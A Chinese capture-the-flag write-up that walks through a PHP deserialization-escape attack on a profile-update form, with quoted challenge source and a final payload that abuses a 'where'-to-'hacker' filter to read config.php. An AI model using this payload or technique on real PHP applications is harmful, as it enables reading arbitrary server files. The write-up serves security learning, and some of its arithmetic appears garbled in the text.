ophxc

我尝试了几种payload,发现有两种情况。
第一种:Invalid user name 第二种:Invalid user name or password 第一步想到的是盲注或者报错,因为fuzz一波有一些是没有过滤掉的。
对于后台的拦截我想到的可能是黑名单或者是正则表达式匹配。
先不管,用字典扫一遍扫到源码直接下载下来。
每个文件都看了一遍发现root的username是可以使用的,提示出来是Invalid password

这一段是class.php的源代码

    public function filter($string) {
        $escape = array(\'\\'\', \'\\\\\');
        $escape = \'/\' . implode(\'|\', $escape) . \'/\';
        $string = preg_replace($escape, \'_\', $string);

        $safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
        $safe = \'/\' . implode(\'|\', $safe) . \'/i\';
        return preg_replace($safe, \'hacker\', $string);
    }

这是一段updata.php的代码:

$user->update_profile($username, serialize($profile));

这里是有一段序列化的数据,这意味着我们可以使用一段序列化的数据进行数据的发送,然后这段数据会在后端进行反序列化读取数据。

还有一段数据:

    $username = $_SESSION[\'username\'];
    if(!preg_match(\'/^\d{11}$/\', $_POST[\'phone\']))
        die(\'Invalid phone\');

    if(!preg_match(\'/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/\', $_POST[\'email\']))
        die(\'Invalid email\');

    if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10)
        die(\'Invalid nickname\');

这也是一段过滤的匹配操作。

在update的过程我们可以匹配了,我们传递四个参数,phone,email,nackname,以及photo。

进行正则表达式的过滤,赋予到$profile变量中。

调用ipdate_profile这个自定义的函数进行操作,里面的参数已经被序列化了。

查看一下这个函数,他需要传入username,以及上一步所生成的序列化的profile:

public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = \'$username\'";
        return parent::update($this->table, \'profile\', $new_profile, $where);
    }

看到了是用了filter,就是我们最开始注意到的:

    public function filter($string) {
        $escape = array(\'\\'\', \'\\\\\');
        $escape = \'/\' . implode(\'|\', $escape) . \'/\';
        $string = preg_replace($escape, \'_\', $string);

        $safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
        $safe = \'/\' . implode(\'|\', $safe) . \'/i\';
        return preg_replace($safe, \'hacker\', $string);
    }

既然有序列化,那肯定就有反序列化读取数据的地方,我在profile找到了,以下是profile的源码:

<?php
    require_once(\'class.php\');
    if($_SESSION[\'username\'] == null) {
        die(\'Login First\'); 
    }
    $username = $_SESSION[\'username\'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header(\'Location: update.php\');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile[\'phone\'];
        $email = $profile[\'email\'];
        $nickname = $profile[\'nickname\'];
        $photo = base64_encode(file_get_contents($profile[\'photo\']));
?>

这里使用到了反序列化逃逸,奇怪的知识增加了hhh。

反序列化的逃逸利用到的还是截断欺骗,通过反序列化的逃逸我们能够抛弃院线数据,从而使自己的数据被上传上去。

在phpstudy上验证一下:

<?php
$b = \'a:3:{i:0;s:3:"qsq";i:1;s:2:"mx";i:2;s:4:"test";}\';
var_dump(unserialize($b));
?>

output:
array(3) { [0]=> string(3) "qsq" [1]=> string(2) "mx" [2]=> string(4) "test" }

反序列化逃逸:

<?php
//$a = array(\'qsq\', \'mx\', \'test\');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:4:"test";}"
$b = \'a:3:{i:0;s:3:"qsq";i:1;s:3:"jia";i:2;s:5:"wocao";}";i:2;s:4:"test";}\';
var_dump(unserialize($b));
?>

output: array(3) { [0]=> string(3) "qsq" [1]=> string(3) "jia" [2]=> string(5) "wocao" }

这就是反序列化逃逸。
在这道题中我们的序列化字符可控,长度也是固定的。 flag在config.php当中,我们需要利用反序列化将config.php的flag给打出来,那么意味着,我们要把这段payload想办法插进去,";s:5:"photo";s:10:"config.php";}

这里有个问题,那就是刚开始九个正则表达式长度的限制:

if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10)
            die(\'Invalid nickname\');

这里我们使用数组就可以绕过,但是数组在序列化之后是这样子的:
s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo"
我们想要之后的序列化成功,我们也需要进行补齐:
所以我们构造的payload应该是这样的:
";}s:5:“photo”;s:10:“config.php”;}
这里多了两个字符变成了34个字符。
搞出三十四个空位就是我们当务之需的了最开始我们看到了什么:

    public function filter($string) {
        $escape = array(\'\\'\', \'\\\\\');
        $escape = \'/\' . implode(\'|\', $escape) . \'/\';
        $string = preg_replace($escape, \'_\', $string);

        $safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
        $safe = \'/\' . implode(\'|\', $safe) . \'/i\';
        return preg_replace($safe, \'hacker\', $string);
    }

就是这里,过滤的地方,加入我们传入where,那么他会替换为hacker,五字节换成了六字节,那么s=6,此时必然有一个字节是不收掌控的,那么我们写34个where,那么他就转换成了34个hacker,原本我们传递的是534+34=204个字节,但是由于转换完之后就是634+34=238个字节,前面的hacker*34把我们设定的204填满了,此时";}s:5:“photo”;s:10:“config.php”;}就成功出来了,实现了逃逸闭合。

此时我们抓包修改,一切就ok了。
payload:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

最后我们去查看读取的文件取得flag。

 

分类:

技术点:

相关文章:

  • 2021-12-03
  • 2022-02-18
  • 2022-01-13
  • 2022-01-17
  • 2021-02-19
  • 2021-12-29
  • 2021-05-21
猜你喜欢
  • 2021-12-12
  • 2022-02-09
  • 2022-02-18
  • 2022-02-14
  • 2021-12-29
  • 2021-12-24
相关资源
相似解决方案